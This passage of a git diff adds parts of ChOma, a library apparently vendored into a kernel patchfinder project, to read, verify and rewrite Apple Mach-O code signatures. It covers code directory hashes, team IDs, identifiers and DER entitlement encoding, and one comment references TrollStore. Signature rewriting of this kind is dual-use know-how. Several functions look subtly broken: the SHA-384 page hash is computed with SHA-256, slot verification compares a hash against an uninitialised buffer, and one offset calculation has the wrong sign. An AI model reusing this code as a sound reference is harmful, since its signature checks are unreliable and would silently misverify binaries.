table entries + uint64_t patchImageExportsArrayAddr; // (unslid) address of array for dyld_cache_image_export_v2 for each image + uint64_t patchImageExportsArrayCount; // count of patch table entries + uint64_t patchClientsArrayAddr; // (unslid) address of array for dyld_cache_image_clients_v2 for each image + uint64_t patchClientsArrayCount; // count of patch clients entries + uint64_t patchClientExportsArrayAddr; // (unslid) address of array for patch exports for each client image + uint64_t patchClientExportsArrayCount; // count of patch exports entries + uint64_t patchLocationArrayAddr; // (unslid) address of array for patch locations for each patch + uint64_t patchLocationArrayCount; // count of patch location entries + uint64_t patchExportNamesAddr; // blob of strings of export names for patches + uint64_t patchExportNamesSize; // size of string blob of export names for patches +}; + +struct dyld_cache_image_patches_v2 +{ + uint32_t patchClientsStartIndex; + uint32_t patchClientsCount; + uint32_t patchExportsStartIndex; // Points to dyld_cache_image_export_v2[] + uint32_t patchExportsCount; +}; + +struct dyld_cache_image_export_v2 +{ + uint32_t dylibOffsetOfImpl; // Offset from the dylib we used to find a dyld_cache_image_patches_v2 + uint32_t exportNameOffset : 28; + uint32_t patchKind : 4; // One of DyldSharedCache::patchKind +}; + +struct dyld_cache_image_clients_v2 +{ + uint32_t clientDylibIndex; + uint32_t patchExportsStartIndex; // Points to dyld_cache_patchable_export_v2[] + uint32_t patchExportsCount; +}; + +struct dyld_cache_patchable_export_v2 +{ + uint32_t imageExportIndex; // Points to dyld_cache_image_export_v2 + uint32_t patchLocationsStartIndex; // Points to dyld_cache_patchable_location_v2[] + uint32_t patchLocationsCount; +}; + +struct dyld_cache_patchable_location_v2 +{ + uint32_t dylibOffsetOfUse; // Offset from the dylib we used to get a dyld_cache_image_clients_v2 + uint32_t high7 : 7, + addend : 5, // 0..31 + authenticated : 1, + usesAddressDiversity : 1, + key : 2, + discriminator : 16; +}; + +// +// MARK: --- V3 patching. This is V2 plus support for GOT combining --- +// +struct dyld_cache_patch_info_v3 +{ + struct dyld_cache_patch_info_v2 infoV2; + // uint32_t patchTableVersion; // == 3 + // ... other fields from dyld_cache_patch_info_v2 + uint64_t gotClientsArrayAddr; // (unslid) address of array for dyld_cache_image_got_clients_v3 for each image + uint64_t gotClientsArrayCount; // count of got clients entries. Should always match the patchTableArrayCount + uint64_t gotClientExportsArrayAddr; // (unslid) address of array for patch exports for each GOT image + uint64_t gotClientExportsArrayCount; // count of patch exports entries + uint64_t gotLocationArrayAddr; // (unslid) address of array for patch locations for each GOT patch + uint64_t gotLocationArrayCount; // count of patch location entries +}; + +struct dyld_cache_image_got_clients_v3 +{ + uint32_t patchExportsStartIndex; // Points to dyld_cache_patchable_export_v3[] + uint32_t patchExportsCount; +}; + +struct dyld_cache_patchable_export_v3 +{ + uint32_t imageExportIndex; // Points to dyld_cache_image_export_v2 + uint32_t patchLocationsStartIndex; // Points to dyld_cache_patchable_location_v3[] + uint32_t patchLocationsCount; +}; + +struct dyld_cache_patchable_location_v3 +{ + uint64_t cacheOffsetOfUse; // Offset from the cache header + uint32_t high7 : 7, + addend : 5, // 0..31 + authenticated : 1, + usesAddressDiversity : 1, + key : 2, + discriminator : 16; +}; + +struct dyld_cache_patchable_location_v4 +{ + uint64_t dylibOffsetOfUse; // Offset from the cache header + union { + struct { + uint32_t authenticated : 1, // == 1 + high7 : 7, + isWeakImport : 1, + addend : 5, // 0..31 + usesAddressDiversity : 1, + keyIsD : 1, // B keys are not permitted. So this is just whether the A key is I or D (0 => I, 1 => D) + discriminator : 16; + } auth; + struct { + uint32_t authenticated : 1, // == 0 + high7 : 7, + isWeakImport : 1, + addend : 23; + } regular; + }; +}; + + +#endif /* _CACHE_PATCHING_H_ */ + diff --git a/XPF/external/ChOma/src/CodeDirectory.c b/XPF/external/ChOma/src/CodeDirectory.c new file mode 100644 index 0000000..4f79753 --- /dev/null +++ b/XPF/external/ChOma/src/CodeDirectory.c @@ -0,0 +1,611 @@ +#include "CodeDirectory.h" +#include "CSBlob.h" +#include "Util.h" +#include "BufferedStream.h" +#include "MemoryStream.h" +#include +#include + +void print_cdhash(cdhash_t cdhash) +{ + for (int i = 0; i < sizeof(cdhash_t); i++) { + printf("%02x", cdhash[i]); + } +} + +void csd_code_directory_read_slot_hash(CS_DecodedBlob *codeDirBlob, MachO *macho, int slot, uint8_t *slotHashOut) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + csd_blob_read(codeDirBlob, codeDir.hashOffset + (slot * codeDir.hashSize), codeDir.hashSize, slotHashOut); +} + +bool code_directory_calculate_page_hash(CS_CodeDirectory *codeDir, MachO *macho, int slot, uint8_t *pageHashOut) +{ + uint32_t pageToReadSize = (uint32_t)(pow(2.0, (double)(codeDir->pageSize))); + uint32_t pageToReadOffset = slot * pageToReadSize; + + // Special case for reading the code signature itself + if (slot == codeDir->nCodeSlots - 1) { + uint32_t csOffset = 0, csSize = 0; + macho_find_code_signature_bounds(macho, &csOffset, &csSize); + if (pageToReadOffset > csOffset) return false; + if (!csOffset || !csSize) pageToReadSize = memory_stream_get_size(macho->stream) - pageToReadOffset; + else pageToReadSize = csOffset - pageToReadOffset; + } + + // Bail out when past EOF + if ((pageToReadOffset + pageToReadSize) > memory_stream_get_size(macho_get_stream(macho))) return false; + + uint8_t page[pageToReadSize]; + if (macho_read_at_offset(macho, pageToReadOffset, pageToReadSize, page) != 0) return false; + switch (codeDir->hashType) { + case CS_HASHTYPE_SHA160_160: { + CC_SHA1(page, (CC_LONG)pageToReadSize, pageHashOut); + break; + } + + case CS_HASHTYPE_SHA256_256: + case CS_HASHTYPE_SHA256_160: { + uint8_t fullHash[CC_SHA256_DIGEST_LENGTH]; + CC_SHA256(page, (CC_LONG)pageToReadSize, fullHash); + memcpy(pageHashOut, fullHash, codeDir->hashSize); + break; + } + + case CS_HASHTYPE_SHA384_384: { + uint8_t fullHash[CC_SHA384_DIGEST_LENGTH]; + CC_SHA256(page, (CC_LONG)pageToReadSize, fullHash); + memcpy(pageHashOut, fullHash, codeDir->hashSize); + break; + } + + default: { + return false; + } + } + + return true; +} + +bool csd_code_directory_verify_code_slot(CS_DecodedBlob *codeDirBlob, MachO *macho, int slot) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + uint8_t slotHash[codeDir.hashSize]; + csd_code_directory_read_slot_hash(codeDirBlob, macho, slot, slotHash); + + uint8_t pageHash[codeDir.hashSize]; + if (!code_directory_calculate_page_hash(&codeDir, macho, slot, slotHash)) return false; + + return (memcmp(slotHash, pageHash, codeDir.hashSize) == 0); +} + +bool csd_code_directory_verify_code_slots(CS_DecodedBlob *codeDirBlob, MachO *macho, int slot) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, HOST_TO_BIG_APPLIER); + + for (int i = 0; i < codeDir.nCodeSlots; i++) { + if (!csd_code_directory_verify_code_slot(codeDirBlob, macho, i)) { + return false; + } + } + return true; +} + +const char *cs_hash_type_to_string(int hashType) +{ + switch (hashType) { + case CS_HASHTYPE_SHA160_160: + return "SHA-1 160"; + case CS_HASHTYPE_SHA256_256: + return "SHA-2 256"; + case CS_HASHTYPE_SHA256_160: + return "SHA-2 160"; + case CS_HASHTYPE_SHA384_384: + return "SHA-3 384"; + default: + return "Unknown blob type"; + } +} + +int cs_hash_type_to_length(int hashType) +{ + switch (hashType) { + case CS_HASHTYPE_SHA160_160: + return 0x14; + case CS_HASHTYPE_SHA256_256: + case CS_HASHTYPE_SHA256_160: + return 0x20; + case CS_HASHTYPE_SHA384_384: + return 0x30; + default: + return 0; + } +} + +int cs_code_directory_get_size(int version) { + switch (version) { + case 0x20600: return 0x70; + case 0x20500: return 0x60; + case 0x20400: return 0x58; + case 0x20300: return 0x40; + // 0x20200 matches ChOma's CS_CodeDirectory structure + default: return 0x34; + } +} + +const char* cs_slot_to_string(int slot) +{ + switch (slot) { + case -11: + return "Loaded library launch constraints hash"; + case -10: + return "Responsible process launch constraints hash"; + case -9: + return "Parent process launch constraints hash"; + case -8: + return "Process launch constraints hash"; + case -7: + return "DER entitlements hash"; + case -6: + return "DMG signature hash"; + case -5: + return "Entitlements hash"; + case -4: + return "App-specific hash"; + case -3: + return "CodeResources hash"; + case -2: + return "Requirements blob hash"; + case -1: + return "Info.plist hash"; + default: + return "Page hash"; + } +} + +char *csd_code_directory_copy_identifier(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + if (codeDir.identOffset == 0) return NULL; + + char *identity = NULL; + csd_blob_read_string(codeDirBlob, codeDir.identOffset, &identity); + if (offsetOut) *offsetOut = codeDir.identOffset; + return identity; +} + +char *csd_code_directory_copy_team_id(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + if (codeDir.version < 0x20200) return NULL; + if (codeDir.teamOffset == 0) return NULL; + + char *teamId = NULL; + csd_blob_read_string(codeDirBlob, codeDir.teamOffset, &teamId); + if (offsetOut) *offsetOut = codeDir.teamOffset; + return teamId; +} + +int csd_code_directory_set_team_id(CS_DecodedBlob *codeDirBlob, char *newTeamID) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + size_t newTeamIDSize = strlen(newTeamID)+1; + + int32_t shift = 0; + uint32_t initalTeamOffset = 0; + char *previousTeamID = csd_code_directory_copy_team_id(codeDirBlob, &initalTeamOffset); + if (previousTeamID) { + // If there is already a TeamID, delete it + uint32_t previousTeamIDSize = strlen(previousTeamID)+1; + csd_blob_delete(codeDirBlob, initalTeamOffset, previousTeamIDSize); + shift -= previousTeamIDSize; + free(previousTeamID); + } + + if (initalTeamOffset) { + codeDir.teamOffset = initalTeamOffset; + } + else { + uint32_t identityOffset = 0; + char *identity = csd_code_directory_copy_identifier(codeDirBlob, &identityOffset); + if (!identity) { + codeDir.teamOffset = cs_code_directory_get_size(codeDir.version); + } else { + codeDir.teamOffset = identityOffset + strlen(identity) + 1; + free(identity); + } + } + + // Insert new team ID + csd_blob_insert(codeDirBlob, codeDir.teamOffset, newTeamIDSize, newTeamID); + shift += newTeamIDSize; + + // Shift other offsets as needed (Since we inserted data in the middle) + if (codeDir.hashOffset != 0 && codeDir.hashOffset > initalTeamOffset) { + codeDir.hashOffset += shift; + } + if (codeDir.scatterOffset != 0 && codeDir.scatterOffset > initalTeamOffset) { + codeDir.scatterOffset += shift; + } + + // Write changes to codeDir struct + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, HOST_TO_BIG_APPLIER); + csd_blob_write(codeDirBlob, 0, sizeof(codeDir), &codeDir); + return 0; +} + +int csd_code_directory_set_identifier(CS_DecodedBlob *codeDirBlob, char *newIdentifier) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + size_t newIdentifierSize = strlen(newIdentifier)+1; + + int32_t shift = 0; + uint32_t initialIDOffset = 0; + char *previousIdentifier = csd_code_directory_copy_identifier(codeDirBlob, &initialIDOffset); + if (previousIdentifier) { + uint32_t previousIdentifierSize = strlen(previousIdentifier)+1; + csd_blob_delete(codeDirBlob, initialIDOffset, previousIdentifierSize); + shift -= previousIdentifierSize; + free(previousIdentifier); + } + + if (initialIDOffset) { + codeDir.identOffset = initialIDOffset; + } + else { + uint32_t teamOffset = 0; + char *team = csd_code_directory_copy_team_id(codeDirBlob, &teamOffset); + if (!team) { + codeDir.identOffset = cs_code_directory_get_size(codeDir.version); + } else { + codeDir.identOffset = teamOffset - strlen(team) + 1; + free(team); + } + } + + // Insert new identifier + csd_blob_insert(codeDirBlob, codeDir.identOffset, newIdentifierSize, newIdentifier); + shift += newIdentifierSize; + + // Shift other offsets as needed (Since we inserted data in the middle) + if (codeDir.teamOffset != 0 && codeDir.teamOffset > initialIDOffset) { + codeDir.teamOffset += shift; + } + if (codeDir.hashOffset != 0 && codeDir.hashOffset > initialIDOffset) { + codeDir.hashOffset += shift; + } + if (codeDir.scatterOffset != 0 && codeDir.scatterOffset > initialIDOffset) { + codeDir.scatterOffset += shift; + } + + // Write changes to codeDir struct + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, HOST_TO_BIG_APPLIER); + csd_blob_write(codeDirBlob, 0, sizeof(codeDir), &codeDir); + return 0; +} + +uint32_t csd_code_directory_get_flags(CS_DecodedBlob *codeDirBlob) +{ + uint32_t flags = 0; + csd_blob_read(codeDirBlob, offsetof(CS_CodeDirectory, flags), sizeof(flags), &flags); + return BIG_TO_HOST(flags); +} + +void csd_code_directory_set_flags(CS_DecodedBlob *codeDirBlob, uint32_t flags) +{ + flags = HOST_TO_BIG(flags); + csd_blob_write(codeDirBlob, offsetof(CS_CodeDirectory, flags), sizeof(flags), &flags); +} + +uint8_t csd_code_directory_get_hash_type(CS_DecodedBlob *codeDirBlob) +{ + uint8_t hashType = 0; + csd_blob_read(codeDirBlob, offsetof(CS_CodeDirectory, hashType), sizeof(hashType), &hashType); + return hashType; +} + +void csd_code_directory_set_hash_type(CS_DecodedBlob *codeDirBlob, uint8_t hashType) +{ + csd_blob_write(codeDirBlob, offsetof(CS_CodeDirectory, hashType), sizeof(hashType), &hashType); +} + +unsigned csd_code_directory_calculate_rank(CS_DecodedBlob *codeDirBlob) +{ + // The supported hash types, ranked from least to most preferred. From XNU's + // bsd/kern/ubc_subr.c. + static uint32_t rankedHashTypes[] = { + CS_HASHTYPE_SHA160_160, + CS_HASHTYPE_SHA256_160, + CS_HASHTYPE_SHA256_256, + CS_HASHTYPE_SHA384_384, + }; + // Define the rank of the code directory as its index in the array plus one. + uint8_t type = csd_code_directory_get_hash_type(codeDirBlob); + for (unsigned i = 0; i < sizeof(rankedHashTypes) / sizeof(rankedHashTypes[0]); i++) { + if (rankedHashTypes[i] == type) { + return (i + 1); + } + } + return 0; +} + +int csd_code_directory_calculate_hash(CS_DecodedBlob *codeDirBlob, void *cdhashOut) +{ + if (!codeDirBlob || !cdhashOut) return -1; + + // Longest possible buffer, will cut it off at the end as cdhash size is fixed + uint8_t cdhash[CC_SHA384_DIGEST_LENGTH]; + + size_t cdBlobSize = csd_blob_get_size(codeDirBlob); + uint8_t *cdBlob = memory_stream_get_raw_pointer(codeDirBlob->stream); + + switch (csd_code_directory_get_hash_type(codeDirBlob)) { + case CS_HASHTYPE_SHA160_160: { + CC_SHA1(cdBlob, (CC_LONG)cdBlobSize, cdhash); + break; + } + + case CS_HASHTYPE_SHA256_256: + case CS_HASHTYPE_SHA256_160: { + CC_SHA256(cdBlob, (CC_LONG)cdBlobSize, cdhash); + break; + } + + case CS_HASHTYPE_SHA384_384: { + CC_SHA384(cdBlob, (CC_LONG)cdBlobSize, cdhash); + break; + } + + default: + return -1; + } + + memcpy(cdhashOut, cdhash, CS_CDHASH_LEN); + return 0; +} + +int csd_code_directory_print_content(CS_DecodedBlob *codeDirBlob, MachO *macho, bool printSlots, bool verifySlots) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + // Version 0x20000 + printf("Code directory:\n"); + printf("\tMagic: 0x%X\n", codeDir.magic); + printf("\tLength: 0x%x\n", codeDir.length); + printf("\tVersion: 0x%x\n", codeDir.version); + printf("\tFlags: 0x%x\n", codeDir.flags); + printf("\tHash offset: 0x%x\n", codeDir.hashOffset); + + uint32_t identifierOffset = 0; + char *identifier = csd_code_directory_copy_identifier(codeDirBlob, &identifierOffset); + if (identifier) { + printf("\tIdentifier: \"%s\" (@ 0x%x)\n", identifier, identifierOffset); + free(identifier); + } + + printf("\tNumber of special slots: %u\n", codeDir.nSpecialSlots); + printf("\tNumber of code slots: %u\n", codeDir.nCodeSlots); + printf("\tCode limit: 0x%x\n", codeDir.codeLimit); + printf("\tHash size: 0x%x\n", codeDir.hashSize); + printf("\tHash type: %s\n", cs_hash_type_to_string(codeDir.hashType)); + printf("\tPlatform: %d\n", codeDir.platform); + printf("\tPage size: 0x%x\n", codeDir.pageSize); + + // Version 0x20100 + if (codeDir.version >= 0x20100) { + printf("\tScatter offset: 0x%x\n", codeDir.scatterOffset); + uint32_t teamOffset = 0; + char *teamId = csd_code_directory_copy_team_id(codeDirBlob, &teamOffset); + if (teamId) { + printf("\tTeam ID: \"%s\" (@ 0x%x)\n", teamId, teamOffset); + free(teamId); + } + } + + printf("\n"); + bool codeSlotsCorrect = true; + bool needsNewline = false; + + for (int64_t i = -((int64_t)codeDir.nSpecialSlots); i < (int64_t)codeDir.nCodeSlots; i++) { + // Read slot + uint8_t slotHash[codeDir.hashSize]; + csd_code_directory_read_slot_hash(codeDirBlob, macho, i, slotHash); + if (printSlots || verifySlots) { + // Print the slot number + needsNewline = true; + printf("%s%lld: ", i < 0 ? "" : " ", i); + + print_hash(slotHash, codeDir.hashSize); + + // Check if hash is just zeroes + bool isZero = true; + for (int j = 0; j < codeDir.hashSize; j++) { + if (slotHash[j] != 0) { + isZero = false; + break; + } + } + + // TrollStore TODO: Validate that hashes are correct + // validateHashes(macho, specialSlots, codeDir.nSpecialSlots * codeDir.hashSize); + // Don't print the slot name if the hash is just zeroes + if (!isZero) { + // Print the special slot name (if applicable) + printf(" (%s)", cs_slot_to_string(i)); + } + } + + if (verifySlots && i >= 0) { + uint8_t pageHash[codeDir.hashSize]; + needsNewline = true; + bool correct = false; + bool calcWorked = code_directory_calculate_page_hash(&codeDir, macho, i, pageHash); + if (calcWorked) { + correct = (memcmp(slotHash, pageHash, codeDir.hashSize) == 0); + } + + if (correct) { + printf(" ✅"); + } + else { + codeSlotsCorrect = false; + if (!calcWorked) { + printf(" ❌ (unable to calculate, probably EOF?)"); + } + else { + printf(" ❌ (should be: "); + print_hash(pageHash, codeDir.hashSize); + printf(")"); + } + } + } + + if (needsNewline) printf("\n"); + needsNewline = false; + } + if (verifySlots) { + if (codeSlotsCorrect) { + printf("All page hashes are valid!\n"); + } + else { + printf("Some page hashes are invalid!\n"); + } + } + + char cdhash[CS_CDHASH_LEN]; + if (csd_code_directory_calculate_hash(codeDirBlob, cdhash) == 0) { + printf(" CDHash: "); + print_hash((uint8_t *)cdhash, sizeof(cdhash)); + printf("\n"); + } + + return 0; +} + +int csd_code_directory_update_special_slots(CS_DecodedBlob *codeDirBlob, CS_DecodedBlob *xmlEntitlements, CS_DecodedBlob *derEntitlements, CS_DecodedBlob *requirements) { + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(CS_CodeDirectory), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + int hashLen = 0; + unsigned char *(*hashFunc)(const void *data, CC_LONG len, unsigned char *md) = NULL; + + switch (codeDir.hashType) { + case CS_HASHTYPE_SHA160_160: + hashLen = CC_SHA1_DIGEST_LENGTH; + hashFunc = CC_SHA1; + break; + case CS_HASHTYPE_SHA256_160: + case CS_HASHTYPE_SHA256_256: + hashLen = CC_SHA256_DIGEST_LENGTH; + hashFunc = CC_SHA256; + break; + case CS_HASHTYPE_SHA384_384: + hashLen = CC_SHA384_DIGEST_LENGTH; + hashFunc = CC_SHA384; + break; + default: + break; + } + if (!hashLen) { + printf("Error: unknown hash type (%d)\n", codeDir.hashType); + } + + for (int i = 1; i <= codeDir.nSpecialSlots; i++) { + uint8_t newHash[hashLen]; + uint32_t hashOffset = codeDir.hashOffset - (i * codeDir.hashSize); + if (xmlEntitlements && i == CSSLOT_ENTITLEMENTS) { + // XXX: memory_stream_get_raw_pointer only works for buffered streams + hashFunc(memory_stream_get_raw_pointer(xmlEntitlements->stream), memory_stream_get_size(xmlEntitlements->stream), newHash); + csd_blob_write(codeDirBlob, hashOffset, codeDir.hashSize, newHash); + } else if (derEntitlements && i == CSSLOT_DER_ENTITLEMENTS) { + hashFunc(memory_stream_get_raw_pointer(derEntitlements->stream), memory_stream_get_size(derEntitlements->stream), newHash); + csd_blob_write(codeDirBlob, hashOffset, codeDir.hashSize, newHash); + } else if (requirements && i == CSSLOT_REQUIREMENTS) { + hashFunc(memory_stream_get_raw_pointer(requirements->stream), memory_stream_get_size(requirements->stream), newHash); + csd_blob_write(codeDirBlob, hashOffset, codeDir.hashSize, newHash); + } + } + + return 0; +} + +int csd_code_directory_update_code_slots(CS_DecodedBlob *codeDirBlob, MachO *macho) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(CS_CodeDirectory), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + // since this function is only for updating the hashes + // we make the assumption here that the nPages of the existing code directory is correct + // TODO: maybe check that nCodeSlots lines up with what we expect + + for (uint32_t slotIdx = 0; slotIdx < codeDir.nCodeSlots; slotIdx++) { + // Calculate hash + uint8_t pageHash[codeDir.hashSize]; + if (!code_directory_calculate_page_hash(&codeDir, macho, slotIdx, pageHash)) { + return -1; + } + + // Write hash to CodeDirectory + uint32_t offsetOfBlobToReplace = codeDir.hashOffset + (slotIdx * codeDir.hashSize); + csd_blob_write(codeDirBlob, offsetOfBlobToReplace, codeDir.hashSize, pageHash); + } + + return 0; +} + +CS_DecodedBlob *csd_code_directory_init(MachO *macho, int hashType, bool alternate) { + CS_CodeDirectory newCodeDir = { 0 }; + memset(&newCodeDir, 0, sizeof(CS_CodeDirectory)); + newCodeDir.magic = CSMAGIC_CODEDIRECTORY; + newCodeDir.version = 0x20200; + + // Default values + newCodeDir.nSpecialSlots = 7; // Only go down to DER entitlements hash + newCodeDir.hashType = hashType; + newCodeDir.hashSize = cs_hash_type_to_length(hashType); + newCodeDir.pageSize = 0xC; // 0x4000 + newCodeDir.hashOffset = sizeof(CS_CodeDirectory) + (newCodeDir.nSpecialSlots * newCodeDir.hashSize); + + newCodeDir.nCodeSlots = (int)(align_to_size(memory_stream_get_size(macho->stream), 0x1000) / 0x1000); + + // Code limit + // This is everything up to the FADE0CC0 magic + + CS_DecodedBlob *blob = malloc(sizeof(CS_DecodedBlob)); + blob->type = alternate ? CSSLOT_ALTERNATE_CODEDIRECTORIES : CSSLOT_CODEDIRECTORY; + + int finalLength = sizeof(CS_CodeDirectory) + (newCodeDir.nSpecialSlots * newCodeDir.hashSize) + (newCodeDir.nCodeSlots * newCodeDir.hashSize); + newCodeDir.length = finalLength; + CODE_DIRECTORY_APPLY_BYTE_ORDER(&newCodeDir, HOST_TO_BIG_APPLIER); + void *buffer = malloc(finalLength); + memset(buffer, 0, finalLength); + memcpy(buffer, &newCodeDir, sizeof(CS_CodeDirectory)); + + blob->stream = buffered_stream_init_from_buffer(buffer, finalLength, BUFFERED_STREAM_FLAG_AUTO_EXPAND); + + return blob; +} diff --git a/XPF/external/ChOma/src/CodeDirectory.h b/XPF/external/ChOma/src/CodeDirectory.h new file mode 100644 index 0000000..1da8ccc --- /dev/null +++ b/XPF/external/ChOma/src/CodeDirectory.h @@ -0,0 +1,66 @@ +#ifndef CODE_DIRECTORY_H +#define CODE_DIRECTORY_H + +#include +#include +#include + +#include "MachO.h" +#include "CSBlob.h" +#include "Fat.h" +#include "MachOByteOrder.h" +#include "MachOLoadCommand.h" +#include "MemoryStream.h" + +// Code directory blob header +typedef struct __CodeDirectory { + uint32_t magic; + uint32_t length; + uint32_t version; + uint32_t flags; + uint32_t hashOffset; + uint32_t identOffset; + uint32_t nSpecialSlots; + uint32_t nCodeSlots; + uint32_t codeLimit; + uint8_t hashSize; + uint8_t hashType; + uint8_t platform; + uint8_t pageSize; + uint32_t spare2; + + /* Version 0x20100 */ + uint32_t scatterOffset; + + /* Version 0x20200 */ + uint32_t teamOffset; +} CS_CodeDirectory +__attribute__ ((aligned(1))); + +#define CS_CDHASH_LEN 20 +typedef uint8_t cdhash_t[CS_CDHASH_LEN]; +void print_cdhash(cdhash_t cdhash); + +enum CS_HashType { + CS_HASHTYPE_SHA160_160 = 1, + CS_HASHTYPE_SHA256_256 = 2, + CS_HASHTYPE_SHA256_160 = 3, + CS_HASHTYPE_SHA384_384 = 4, +}; + +char *csd_code_directory_copy_identifier(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut); +char *csd_code_directory_copy_team_id(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut); +int csd_code_directory_set_team_id(CS_DecodedBlob *codeDirBlob, char *newTeamID); +int csd_code_directory_set_identifier(CS_DecodedBlob *codeDirBlob, char *newIdentifier); +uint32_t csd_code_directory_get_flags(CS_DecodedBlob *codeDirBlob); +void csd_code_directory_set_flags(CS_DecodedBlob *codeDirBlob, uint32_t flags); +uint8_t csd_code_directory_get_hash_type(CS_DecodedBlob *codeDirBlob); +void csd_code_directory_set_hash_type(CS_DecodedBlob *codeDirBlob, uint8_t hashType); +unsigned csd_code_directory_calculate_rank(CS_DecodedBlob *codeDirBlob); +int csd_code_directory_calculate_hash(CS_DecodedBlob *codeDirBlob, void *cdhashOut); +int csd_code_directory_print_content(CS_DecodedBlob *codeDirBlob, MachO *macho, bool printSlots, bool verifySlots); +int csd_code_directory_update_special_slots(CS_DecodedBlob *codeDirBlob, CS_DecodedBlob *xmlEntitlements, CS_DecodedBlob *derEntitlements, CS_DecodedBlob *requirements); +int csd_code_directory_update_code_slots(CS_DecodedBlob *codeDirBlob, MachO *macho); +CS_DecodedBlob *csd_code_directory_init(MachO *macho, int hashType, bool alternate); + +#endif // CODE_DIRECTORY_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/DER.c b/XPF/external/ChOma/src/DER.c new file mode 100644 index 0000000..1c43e0d --- /dev/null +++ b/XPF/external/ChOma/src/DER.c @@ -0,0 +1,232 @@ +#include +#include +#include +#include +#include + +#include "MachOByteOrder.h" +#include "DER.h" + +#define ASN1_CONSTRUCTED 0x20 + +#define ASN1_SEQUENCE 0x10 +#define ASN1_SET 0x11 + +#define ASN1_BOOLEAN 0x01 +#define ASN1_INTEGER 0x02 +#define ASN1_UTF8_STRING 0x0C + +// DER entitlements are a SET of SEQUENCE serialisations, each sequence being an entitlement + +void der_free_encoded_item(DEREncodedItem *item) { + free(item->data); + free(item); +} + +DEREncodedItem *der_encode_length(uint32_t length) { + if (length <= 0x7f) { + uint8_t *data = malloc(1); + if (data == NULL) { + return NULL; + } + + data[0] = length; + + DEREncodedItem *item = malloc(sizeof(DEREncodedItem)); + if (item == NULL) { + return NULL; + } + + item->data = data; + item->length = 1; + + return item; + } else { + uint32_t len = length; + uint32_t lenBytes = 0; + while (len) { + len >>= 8; + lenBytes++; + } + + uint8_t *data = malloc(lenBytes + 1); + if (data == NULL) { + return NULL; + } + + data[0] = 0x80 | lenBytes; + for (uint32_t i = 1; i <= lenBytes; i++) { + data[i] = (length >> (8 * (lenBytes - i))) & 0xff; + } + + DEREncodedItem *item = malloc(sizeof(DEREncodedItem)); + if (item == NULL) { + free(data); + return NULL; + } + + item->data = data; + item->length = lenBytes + 1; + + return item; + } +} + +DEREncodedItem *der_encode_item(DERItem *item) { + DEREncodedItem *length = der_encode_length(item->length); + if (length->data == NULL) { + return NULL; + } + + uint32_t totalLength = 1 + length->length + item->length; + uint8_t *data = malloc(totalLength); + if (data == NULL) { + der_free_encoded_item(length); + return NULL; + } + + data[0] = item->tag; + memcpy(&data[1], length->data, length->length); + memcpy(&data[1 + length->length], item->data, item->length); + + DEREncodedItem *encodedItem = malloc(sizeof(DEREncodedItem)); + if (encodedItem == NULL) { + der_free_encoded_item(length); + free(data); + return NULL; + } + + encodedItem->data = data; + encodedItem->length = totalLength; + + der_free_encoded_item(length); + + return encodedItem; +} + +DEREncodedItem *der_encode_boolean(bool value) { + DERItem item; + item.tag = ASN1_BOOLEAN; + item.data = malloc(1); + if (item.data == NULL) { + return NULL; + } + + item.data[0] = value; + item.length = 1; + + return der_encode_item(&item); +} + +DEREncodedItem *der_encode_integer(uint32_t value) { + DERItem item; + item.tag = ASN1_INTEGER; + item.data = malloc(sizeof(uint32_t)); + if (item.data == NULL) { + return NULL; + } + + // Convert to big-endian + value = HOST_TO_BIG(value); + memcpy(item.data, &value, sizeof(uint32_t)); + item.length = 4; + + return der_encode_item(&item); +} + +DEREncodedItem *der_encode_utf8_string(const char *string) { + DERItem item; + item.tag = ASN1_UTF8_STRING; + item.data = (uint8_t *)string; + item.length = strlen(string); + + return der_encode_item(&item); +} + +DEREncodedItem *der_encode_sequence(DEREncodedItem *items[], uint32_t nItems) { + uint8_t tag = ASN1_SEQUENCE | ASN1_CONSTRUCTED; + + uint32_t totalLength = 0; + for (uint32_t i = 0; i < nItems; i++) { + totalLength += items[i]->length; + } + + DEREncodedItem *length = der_encode_length(totalLength); + if (length == NULL) { + return NULL; + } + + uint32_t totalDataLength = 1 + length->length + totalLength; + + uint8_t *data = malloc(totalDataLength); + if (data == NULL) { + der_free_encoded_item(length); + return NULL; + } + + data[0] = tag; + memcpy(&data[1], length->data, 